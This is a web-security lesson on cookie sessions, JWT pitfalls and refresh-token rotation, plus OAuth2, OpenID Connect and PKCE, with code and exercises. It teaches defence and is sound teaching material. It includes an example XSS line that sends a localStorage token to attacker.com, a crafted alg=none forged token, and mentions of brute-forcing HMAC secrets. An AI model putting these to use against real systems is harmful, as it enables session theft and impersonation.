This lesson combines 2 topics: Sessions vs JWT, OAuth2 & OpenID Connect.
Learning Objectives
- Understand how a cookie session (server-side state) works and the security flags
Secure,HttpOnly,SameSite - Understand the structure of a JWT (header.payload.signature) and the difference between HS256 and RS256
- Recognize common JWT pitfalls:
alg=none, weak secret, no expiry, storing it inlocalStorage - Apply refresh token rotation and understand the token revocation problem
- Decide when to use sessions and when to use JWT
- Distinguish authentication (OIDC) from authorization (OAuth2)
- Understand the 4 OAuth2 grant types and pick the right one for each use case
- Master the Authorization Code + PKCE flow, today's default for web/mobile/SPA
- Distinguish Access Token vs ID Token, scope vs audience
- Integrate with popular providers: Google, Auth0, Clerk, AWS Cognito
Part 1: Sessions vs JWT
1. Cookie Session — Server-side State
Basic flow
What does the server store?
The cookie only contains the session_id (random, ~128-bit, no other information). All state lives on the server.
Mandatory cookie flags
Set-Cookie: sid=abc123;
HttpOnly; ← JS cannot read it → prevents XSS from stealing the cookie
Secure; ← Only sent over HTTPS → prevents MITM
SameSite=Lax; ← Not sent cross-site → prevents CSRF
Path=/;
Max-Age=3600;
Domain=app.example.com
| Flag | Effect | Recommendation |
|---|---|---|
HttpOnly | Cookie cannot be accessed via document.cookie | Mandatory |
Secure | Only sent over HTTPS | Mandatory (production) |
SameSite=Strict | Not sent with any cross-site request | Most secure, may break UX when users arrive via a link from Google |
SameSite=Lax | Sent with top-level GET navigation, not with cross-site POST | Good default (Chrome 80+ default) |
SameSite=None | Allows cross-site (MUST be paired with Secure) | Only when needed (cross-origin embed) |
Session fixation attack
1. Attacker visits the site, server issues sid=AAA
2. Attacker lures the victim into clicking a link with sid=AAA (via URL or an XSS that sets the cookie)
3. Victim logs in → server binds sid=AAA to the victim's user
4. Attacker uses sid=AAA → logged in as the victim
Prevention: regenerate the session ID after login (req.session.regenerate() in Express).
Session pros / cons
| Pros | Cons |
|---|---|
| Easy to revoke: delete the entry in the store | Needs a session store (Redis/DB) → more complex infra |
| Small cookie (id only) | Not trivially stateless → hard to scale across regions |
| Can hold large data server-side | Depends on cookies → awkward for native mobile, cross-domain |
| Mature, well-understood | Requires CSRF protection (CSRF token) |
2. JWT — JSON Web Token
Structure
Standard claims (RFC 7519)
| Claim | Meaning | Example |
|---|---|---|
iss | Issuer — who issued it | "https://auth.example.com" |
sub | Subject — user id | "user_42" |
aud | Audience — which service the token is for | "https://api.example.com" |
exp | Expiration time (Unix ts) | 1700003600 |
iat | Issued at | 1700000000 |
nbf | Not before | 1700000000 |
jti | JWT ID — unique id (for revocation) | "uuid-v4" |
HS256 vs RS256
HS256 (HMAC-SHA256): RS256 (RSA-SHA256):
Issuer: Issuer:
sign with SHARED_SECRET sign with PRIVATE_KEY
Verifier: Verifier:
verify with SHARED_SECRET verify with PUBLIC_KEY
(same secret as issuer) (publishable)
| HS256 | RS256 | |
|---|---|---|
| Key type | Symmetric (shared secret) | Asymmetric (private/public) |
| Who can verify | Only whoever holds the secret | Anyone with the public key |
| Use case | The same service issues + verifies | Many microservices verify tokens issued by an auth-service |
| Token size | Smaller | Larger (longer signature) |
| When compromised | Lost secret → forged tokens possible | Lost private key → forged tokens possible; a leaked public key is harmless |
Microservices should use RS256 + publish
jwks.jsonso other services can verify without sharing a secret.
Typical JWT flow
The Resource API does not need to call a DB / the auth service to verify; it only verifies the signature and checks the claims. That is JWT's main appeal.
3. JWT Pitfalls
Pitfall 1: alg=none attack
// Attacker crafts their own JWT:
header = { "alg": "none", "typ": "JWT" }
payload = { "sub": "admin", "exp": 9999999999 }
signature = "" // left empty
// If the library accepts alg=none → this token passes verification
Prevention:
- Whitelist the allowed alg:
jwt.verify(token, secret, { algorithms: ["HS256"] }) - NEVER let the user control alg
Pitfall 2: Algorithm confusion (RS256 → HS256)
// Server holds an RSA public key, expects to verify RS256
// Attacker changes the header to alg=HS256
// Old libraries: use the public key as the HMAC secret
// → the public key is public → attacker knows it → can sign forged tokens
Prevention: always whitelist algorithms: ["RS256"] instead of trusting the header.
Pitfall 3: Weak HMAC secret
// ❌ WRONG
const secret = "secret"; // brute forced in 1 second
const secret = "myapp_secret"; // dictionary attack
const secret = "abc123";
// ✅ RIGHT: ≥ 256 bits random
const secret = crypto.randomBytes(32).toString("base64");
// or use RS256 with a key pair
Tools like hashcat / jwt_tool can brute force a weak HMAC secret from a public token.
Pitfall 4: No expiry / too long
// ❌ WRONG
{ "sub": "u1" } // no exp → immortal token
{ "sub": "u1", "exp": +30 days } // too long for an access token
// ✅ RIGHT
access_token: exp = 15 minutes
refresh_token: exp = 7-30 days, rotate on every use
Pitfall 5: Storing JWT in localStorage
// ❌ WRONG — readable by XSS
localStorage.setItem("token", jwt);
// Any <script> (including a compromised 3rd-party CDN) can:
const token = localStorage.getItem("token");
fetch("https://attacker.com?t=" + token);
| Storage | Readable by XSS | CSRF | Notes |
|---|---|---|---|
localStorage | Yes | No | Dangerous with XSS |
sessionStorage | Yes | No | Same as localStorage |
HttpOnly cookie | No | Yes (needs SameSite) | Most secure for JWT |
| Memory (JS variable) | Yes, but lost on reload | No | OK for a short-lived access token |
Recommendation: an HttpOnly; Secure; SameSite=Lax cookie. If you must keep it in JS, keep only a short-lived access token there + the refresh token in a cookie.
Pitfall 6: Token bloat
// ❌ WRONG: stuffing the whole user profile into the payload
{
"sub": "u1",
"email": "...",
"first_name": "...",
"address": "...",
"permissions": [/* 200 items */]
}
The JWT payload travels with every request → more bandwidth. It should only contain sub, exp, iat, and short role IDs.
4. Refresh Token Rotation
The problem: token revocation
A stateless JWT cannot be "deleted" from the server. If the user logs out / loses a device / the token leaks:
- The token stays valid until
exp - You need a way to invalidate it
Pattern: short access + long refresh, rotate refresh
1. Login → issue:
access_token (exp = 15 min) ← sent with every request
refresh_token (exp = 30 days) ← used to obtain a new access token
2. Access expires → call /refresh with the refresh_token:
- Server verifies the refresh_token
- Issues a new access_token
- Issues a new refresh_token (rotate)
- Invalidates the old refresh_token (marked in the DB)
3. If an attacker steals the refresh_token and uses it:
- The first use may succeed once
- When the real user uses the old refresh_token → server detects it was already used
- → Revoke all of the user's sessions (force re-login)
Lifetime comparison
| Token type | Lifetime | Stored where | Revocation |
|---|---|---|---|
| Access token (JWT) | 5-15 minutes | Memory / HttpOnly cookie | Wait for exp |
| Refresh token | 7-30 days | HttpOnly cookie (path=/refresh) | Stored in DB, rotated, revocable |
| Session id | 30 days | HttpOnly cookie | Delete the entry in the store |
Revocation list (denylist)
For cases where you need to revoke an access token before it expires:
- Store the
jtiof revoked tokens in Redis with TTL = exp - On every request: verify the JWT + check the Redis denylist
- Trade-off: you lose statelessness
5. When to use Session vs JWT?
| Criterion | Session (cookie) | JWT |
|---|---|---|
| Single web app, same domain | Yes (simple, secure) | Overkill |
| SPA + REST API on the same domain | Yes (HttpOnly cookie) | OK, but be careful with storage |
| Native mobile (iOS/Android) | Hard (cookies are awkward) | Yes (Bearer token) |
| Multi-region microservices | Session store is hard to scale | Yes (RS256 + JWKS) |
| Third-party API access | — | Yes (OAuth2 access token) |
| Need immediate revocation | Yes (delete the session) | Hard (needs a denylist) |
| Need simplicity, little infra | Yes | More complex |
| Cross-domain SSO | Hard | Yes (OIDC ID token) |
Practical rule: for a same-origin web app, use a cookie session. For mobile / SPA + multi-service / SSO, use JWT (best practice: access token in memory, refresh token in an HttpOnly cookie).
6. Code examples
Express session with Redis
import express from "express";
import session from "express-session";
import { RedisStore } from "connect-redis";
import { createClient } from "redis";
const redisClient = createClient({ url: process.env.REDIS_URL });
await redisClient.connect();
const app = express();
app.use(session({
store: new RedisStore({ client: redisClient }),
secret: process.env.SESSION_SECRET, // for signing cookie
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true,
secure: process.env.NODE_ENV === "production",
sameSite: "lax",
maxAge: 1000 * 60 * 60, // 1h
},
}));
app.post("/login", async (req, res) => {
// verify password ...
req.session.regenerate(() => { // prevents session fixation
req.session.userId = user.id;
res.json({ ok: true });
});
});
app.post("/logout", (req, res) => {
req.session.destroy(() => res.json({ ok: true }));
});
JWT with jose (Node.js)
import { SignJWT, jwtVerify } from "jose";
const secret = new TextEncoder().encode(process.env.JWT_SECRET); // ≥32 bytes
// Sign
async function signAccessToken(userId, roles) {
return await new SignJWT({ roles })
.setProtectedHeader({ alg: "HS256" })
.setSubject(userId)
.setIssuer("https://auth.example.com")
.setAudience("https://api.example.com")
.setIssuedAt()
.setExpirationTime("15m")
.sign(secret);
}
// Verify
async function verifyAccessToken(token) {
const { payload } = await jwtVerify(token, secret, {
issuer: "https://auth.example.com",
audience: "https://api.example.com",
algorithms: ["HS256"], // ← the whitelist matters
});
return payload;
}
Part 2: OAuth2 & OpenID Connect
1. What OAuth2 is, and what it is not
OAuth2 is a framework for authorization: it lets an application (the Client) access resources on behalf of a user without knowing the user's password.
"OAuth2 is not an authentication protocol"
↑
(yet many people misuse it that way)
OAuth2 answers: "Is this Client allowed to call API X on behalf of user Y?" It does not answer: "Who is this user?" → that is the job of OIDC.
Real-world example
Spotify wants to import playlists from your YouTube account:
❌ Without OAuth2:
Spotify asks: "Give me your YouTube password"
→ You hand over your full password → Spotify can read Gmail, delete videos...
✅ With OAuth2:
Spotify redirects you to Google → you log in with Google →
Google asks: "Allow Spotify to READ your YouTube playlists?" →
You approve → Spotify receives an access token ONLY for scope youtube.readonly
→ It never sees your password and cannot read Gmail
The 4 roles in OAuth2
| Role | Who it is (example) | Responsibility |
|---|---|---|
| Resource Owner | End user | Owns the data, approves/denies access |
| Client | The developer's app | Wants to access the user's resources |
| Authorization Server | Google, Auth0, Cognito | Authenticates the user, issues access tokens |
| Resource Server | The API holding the data | Verifies the token, returns data according to scope |
2. OAuth2 Grant Types
| Grant type | Use case | Current status |
|---|---|---|
| Authorization Code + PKCE | Web app, SPA, mobile | DEFAULT |
| Client Credentials | Machine-to-machine (no user) | OK |
| Refresh Token | Refresh access token | OK (alongside another grant) |
| Authorization Code (no PKCE) | Server-side confidential web | Still used, should add PKCE |
| Implicit | (legacy) SPA | DEPRECATED (OAuth 2.1) |
| Resource Owner Password | (legacy) trusted first-party | DEPRECATED |
| Device Code | TV, CLI without a browser | OK |
Client types
Confidential client: can keep a secret safe
→ Backend server (Node.js, Django, Rails)
→ Stores client_secret in an env var
Public client: CANNOT keep a secret
→ SPA (code is readable from the browser)
→ Mobile app (can be decompiled)
→ CLI tool
→ MUST use PKCE
3. Authorization Code + PKCE Flow
What is PKCE?
PKCE (Proof Key for Code Exchange, RFC 7636) prevents the authorization code interception attack: a malicious app on the same device intercepts the authorization code in the redirect URL.
Before PKCE, only confidential clients could use Authorization Code because it required a client_secret. PKCE replaces the client_secret with a one-time proof → public clients can use it.
How PKCE works
1. The client generates:
code_verifier = random 43-128 characters (cryptographically random)
code_challenge = BASE64URL( SHA256(code_verifier) )
2. Send code_challenge UP with the authorization request
3. When exchanging the code for a token, send code_verifier UP
4. AS verifies: SHA256(code_verifier) == stored code_challenge?
- If an attacker intercepts the code, they lack code_verifier → cannot exchange it
Full flow (web SPA + PKCE)
Important: the state parameter prevents CSRF
// Client generates a random state before redirecting
const state = crypto.randomUUID();
sessionStorage.setItem("oauth_state", state);
// In the callback, verify it
const returnedState = new URL(location).searchParams.get("state");
if (returnedState !== sessionStorage.getItem("oauth_state")) {
throw new Error("State mismatch — possible CSRF");
}
4. Client Credentials Grant (M2M)
When there is no user — service A calls service B:
Characteristics:
- No user, no ID token
- The client must be confidential (able to keep a secret)
- Scope limited to M2M
5. OpenID Connect — Identity Layer
OAuth2 answers "who is allowed to access what". OIDC extends it to answer "who is this user".
The key difference
Access Token vs ID Token
| Access Token | ID Token | |
|---|---|---|
| Purpose | Authorize API calls | Authenticate the user to the Client |
| Audience | Resource Server (API) | Client app |
| Format | Opaque or JWT | Always a JWT |
| Does the Client decode it | Not required | Yes, reads user claims |
| Sent where | To the API via Authorization: Bearer | Used only inside the Client |
| Claims | scope, exp, sub | sub, email, name, picture, exp |
Remember: Do not send the ID Token to an API in a Bearer header. Do not use the ID Token for authorization. The ID Token only tells the Client who the user is.
Standard OIDC scopes
openid ← MANDATORY to enable OIDC, returns ID token
profile ← name, family_name, given_name, picture, locale
email ← email, email_verified
address ← address claim
phone ← phone_number, phone_number_verified
offline_access ← refresh_token
Discovery endpoint
OIDC providers publish metadata at:
https://accounts.google.com/.well-known/openid-configuration
{
"issuer": "https://accounts.google.com",
"authorization_endpoint": "https://accounts.google.com/o/oauth2/v2/auth",
"token_endpoint": "https://oauth2.googleapis.com/token",
"userinfo_endpoint": "https://openidconnect.googleapis.com/v1/userinfo",
"jwks_uri": "https://www.googleapis.com/oauth2/v3/certs",
"response_types_supported": ["code", "token", ...],
"id_token_signing_alg_values_supported": ["RS256"]
}
OIDC libraries fetch this endpoint automatically → developers do not hardcode URLs.
6. Scope vs Audience
Scope — permissions
The user sees a consent screen listing the scopes → approves each one. The Resource Server checks the scope in the access token to allow the operation.
Audience — who the token is for
{
"iss": "https://auth.example.com",
"sub": "user_42",
"aud": "https://api.orders.example.com", ← only this API should accept it
"scope": "orders.read"
}
The Resource Server MUST verify the aud claim:
// ❌ WRONG: only verifies the signature
jwt.verify(token, publicKey);
// ✅ RIGHT: verifies the audience
jwt.verify(token, publicKey, {
audience: "https://api.orders.example.com",
issuer: "https://auth.example.com",
});
Without verifying aud → a token meant for API A can be replayed against API B → confused deputy attack.
7. Popular providers
| Provider | Type | Characteristics |
|---|---|---|
| OIDC, free | Popular for social login | |
| GitHub | OAuth2 (not standard OIDC) | For developer tools, has its own userinfo |
| Auth0 | OIDC, SaaS | Customizable, expensive at large scale |
| Clerk | OIDC + UI components | Great DX for Next.js, free tier 10k MAU |
| AWS Cognito | OIDC | Deep AWS integration, weaker UX |
| Keycloak | OIDC, self-hosted | Open source, full control |
| Okta | OIDC enterprise | Enterprise SSO |
| Microsoft Entra ID | OIDC | Azure AD, B2B/B2C |
When to build your own vs use a provider?
USE A PROVIDER when:
- Team < 50 devs, no dedicated security engineer
- You need social login (Google/Facebook/Apple)
- Time-to-market matters
- Compliance (SOC2, HIPAA) — the provider is already certified
BUILD YOUR OWN when:
- You have special compliance requirements (gov, classified)
- Extremely high volume (provider cost > engineer cost)
- You have a security team
- You need to fully customize the flow
8. Code examples
Node.js with openid-client
// npm install openid-client
import * as client from "openid-client";
// 1. Discovery
const config = await client.discovery(
new URL("https://accounts.google.com"),
process.env.CLIENT_ID,
process.env.CLIENT_SECRET // omit for a public client
);
// 2. Build authorization URL
const codeVerifier = client.randomPKCECodeVerifier();
const codeChallenge = await client.calculatePKCECodeChallenge(codeVerifier);
const state = client.randomState();
const authUrl = client.buildAuthorizationUrl(config, {
redirect_uri: "https://app.example.com/callback",
scope: "openid profile email",
code_challenge: codeChallenge,
code_challenge_method: "S256",
state,
});
// Store codeVerifier + state in the session, redirect the user
// 3. In the callback handler
const tokens = await client.authorizationCodeGrant(config, currentUrl, {
pkceCodeVerifier: codeVerifier,
expectedState: state,
});
// tokens.access_token, tokens.id_token, tokens.refresh_token
const claims = tokens.claims();
console.log("User:", claims.sub, claims.email);
SPA with PKCE (browser flow)
// 1. Generate PKCE pair
async function sha256(str) {
const buf = new TextEncoder().encode(str);
const hash = await crypto.subtle.digest("SHA-256", buf);
return btoa(String.fromCharCode(...new Uint8Array(hash)))
.replace(/\+/g, "-").replace(/\//g, "_").replace(/=+$/, "");
}
const verifier = crypto.randomUUID() + crypto.randomUUID();
const challenge = await sha256(verifier);
const state = crypto.randomUUID();
sessionStorage.setItem("pkce_verifier", verifier);
sessionStorage.setItem("oauth_state", state);
// 2. Redirect
const params = new URLSearchParams({
client_id: "spa-client",
redirect_uri: "https://app/callback",
response_type: "code",
scope: "openid profile email",
code_challenge: challenge,
code_challenge_method: "S256",
state,
});
location.href = `https://auth.example.com/authorize?${params}`;
// 3. Callback handler
const url = new URL(location);
const code = url.searchParams.get("code");
const returnedState = url.searchParams.get("state");
if (returnedState !== sessionStorage.getItem("oauth_state")) {
throw new Error("State mismatch");
}
const res = await fetch("https://auth.example.com/token", {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: new URLSearchParams({
grant_type: "authorization_code",
client_id: "spa-client",
code,
redirect_uri: "https://app/callback",
code_verifier: sessionStorage.getItem("pkce_verifier"),
}),
});
const tokens = await res.json();
Review Questions
-
Why does a cookie holding a session id need all 3 flags
HttpOnly,Secure,SameSite?Show answer
Each flag blocks a different attack: HttpOnly → JS cannot read
document.cookie, so XSS cannot steal the session id. Secure → the cookie is only sent over HTTPS, preventing man-in-the-middle eavesdropping on public Wi-Fi. SameSite=Lax/Strict → the cookie is not sent with cross-site POST requests, preventing CSRF. Missing any one of the three leaves an attack vector open. -
How does the JWT
alg=noneattack work and how do you prevent it?Show answer
The attacker creates a JWT with header
{"alg":"none"}and an empty signature. Old (or misconfigured) JWT libraries trust the header and accept an unsigned token → the attacker can impersonate any user. Prevention: always whitelist the algorithm when verifying, e.g.jwt.verify(token, secret, { algorithms: ["HS256"] }). NEVER read alg from the header to choose how to verify. -
What is the core difference between HS256 and RS256, and when should you use RS256?
Show answer
HS256 uses a symmetric secret: the issuer and verifier share the same secret → only suitable when the same service issues and verifies. RS256 uses a key pair (private/public): the issuer signs with the private key, verifiers use the public key (published via JWKS) → many microservices can verify without sharing a secret. Use RS256 for microservices, SSO, OIDC. Use HS256 for a simple monolith.
-
Why is storing a JWT in
localStoragerisky, and what is the alternative?Show answer
localStorageis accessible from JavaScript → any XSS (including via a compromised npm package or a hacked CDN) can read the token and exfiltrate it. The best alternative: anHttpOnly; Secure; SameSite=Laxcookie for the refresh token (JS cannot read it) + a short-lived access token (5-15 minutes) in JS memory. When the tab closes, the access token is gone → you need to refresh, and the refresh token sits safely in the cookie. -
How does refresh token rotation detect a stolen token?
Show answer
Every time a refresh token is used to obtain a new access token, the server invalidates the old refresh token (marks it used in the DB) and issues a new one. If an attacker steals the refresh token and uses it before the real user, the attacker gets a new token, but when the real user uses the old refresh token, the server sees it was already used → knows there is an attack → revokes all of the user's sessions, forcing re-login. This pattern detects compromise on its own without the user having to report it.
-
How do OAuth2 and OIDC differ? If you only need "social login" to know who the user is, which one do you use?
Show answer
OAuth2 is a framework for authorization: the Client asks the user for permission to access resources. It does not define user identity and has no standard way to know "who the user is". OIDC builds on OAuth2 and adds the ID Token (JWT) containing user claims (sub, email, name) → you know who the user is. For social login, always use OIDC (scope
openid+ get the ID token). Use plain OAuth2 to call a third party's API on behalf of the user (Spotify reading YouTube playlists). -
Why must an SPA today use PKCE instead of the Implicit grant?
Show answer
The Implicit grant returns the access token directly in the URL fragment → the token leaks via browser history, the referer header, proxy server logs. There is no protection against code interception on the same device. Authorization Code + PKCE returns a short-lived
code(one-time use) that is exchanged for a token via a separate POST. PKCE replaces client_secret with a one-timecode_verifier→ public clients (SPA, mobile) stay secure. OAuth 2.1 officially deprecates Implicit. -
Can an ID Token be used to call an API? Why?
Show answer
No. The ID Token has
aud= the client app, not the API. It only proves "user X authenticated to client Y" for the client's benefit. Sending the ID token to an API is an anti-pattern because: (1) an API should not trust a token whoseaudis not itself, (2) the ID Token often contains sensitive information (email, name) that should not travel with every API call, (3) the ID Token often has a longer lifetime than the access token. Always use the access token for API calls. -
Which claims of a JWT access token must a Resource Server verify?
Show answer
At minimum: (1) Signature, verified with the public key from the AS's JWKS endpoint, (2)
iss, the issuer must be a trusted AS, (3)aud, the audience must be this RS (prevents confused deputy: a token for API A used against API B), (4)exp, not yet expired, (5)scope, sufficient permission for the operation. Optional:nbf(not before),jti(check a denylist if you need revocation). Skipping any of the first 5 is a vulnerability. -
When do you use the Client Credentials grant?
Show answer
When there is no user: machine-to-machine. Examples: backend service A (triggered by cron) calls service B's API; an ETL data pipeline calls a public API; vendor X's webhook backend pushes data to your API. The client must be confidential (able to keep a client_secret). There is no ID token and no refresh token. The token usually has limited M2M scope (e.g. analytics.read). DO NOT use it for user-facing apps because it cannot capture user consent.
Hands-on Exercises
Part 1: Sessions vs JWT
# 1. Decode a JWT by hand
# Grab a JWT (from the jwt.io demo)
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4ifQ.signature"
# Decode header
echo $TOKEN | cut -d. -f1 | base64 -d
# → {"alg":"HS256","typ":"JWT"}
# Decode payload
echo $TOKEN | cut -d. -f2 | base64 -d
# → {"sub":"1234567890","name":"John"}
# 2. Sign your own JWT with jose
mkdir jwt-lab && cd jwt-lab
npm init -y
npm install jose
cat > sign.mjs << 'EOF'
import { SignJWT } from "jose";
const secret = new TextEncoder().encode("a-very-long-random-secret-256-bits-please");
const jwt = await new SignJWT({ role: "user" })
.setProtectedHeader({ alg: "HS256" })
.setSubject("user-42")
.setIssuedAt()
.setExpirationTime("15m")
.sign(secret);
console.log(jwt);
EOF
node sign.mjs
# 3. Open https://jwt.io, paste the token, observe the decoded parts
# 4. Try the alg=none attack:
# - Create a new JWT with header alg=none
# - Drop the signature
# - Verify with a library → observe that a modern library (jose) rejects it
# 5. Set up an Express session with Redis
docker run -d -p 6379:6379 redis
# Express session demo code is in section 6; inspect the cookie with DevTools
Part 2: OAuth2 & OpenID Connect
# 1. Register a Google OAuth client
# - Go to https://console.cloud.google.com/apis/credentials
# - Create an OAuth client ID, type = Web application
# - Authorized redirect URIs: http://localhost:3000/callback
# 2. Set up a demo with openid-client
mkdir oidc-lab && cd oidc-lab
npm init -y
npm install openid-client express
# 3. Create the demo server (see the code in section 8)
# 4. In the callback, print:
# - access_token (sent to the API)
# - id_token (decode at jwt.io, look at the sub, email, name claims)
# - refresh_token (if you requested offline_access)
# 5. Verify the ID token signature
# - Fetch Google's jwks_uri
# - Verify the ID token with the jose library
# - Verify aud == client_id, iss == "https://accounts.google.com"
# 6. Try the Auth0 free tier:
# - Sign up at auth0.com
# - Create an Application of type = SPA (PKCE will be enforced)
# - Use @auth0/auth0-spa-js in the frontend
# 7. Inspect the discovery endpoint:
curl https://accounts.google.com/.well-known/openid-configuration | jq
curl https://YOUR_DOMAIN.auth0.com/.well-known/openid-configuration | jq
References
- RFC 7519 — JSON Web Token
- OWASP JWT Cheat Sheet
- OWASP Session Management Cheat Sheet
- jose library docs
- OAuth 2.0 — RFC 6749
- PKCE — RFC 7636
- OAuth 2.1 draft
- OpenID Connect Core 1.0
- OAuth 2.0 for Browser-Based Apps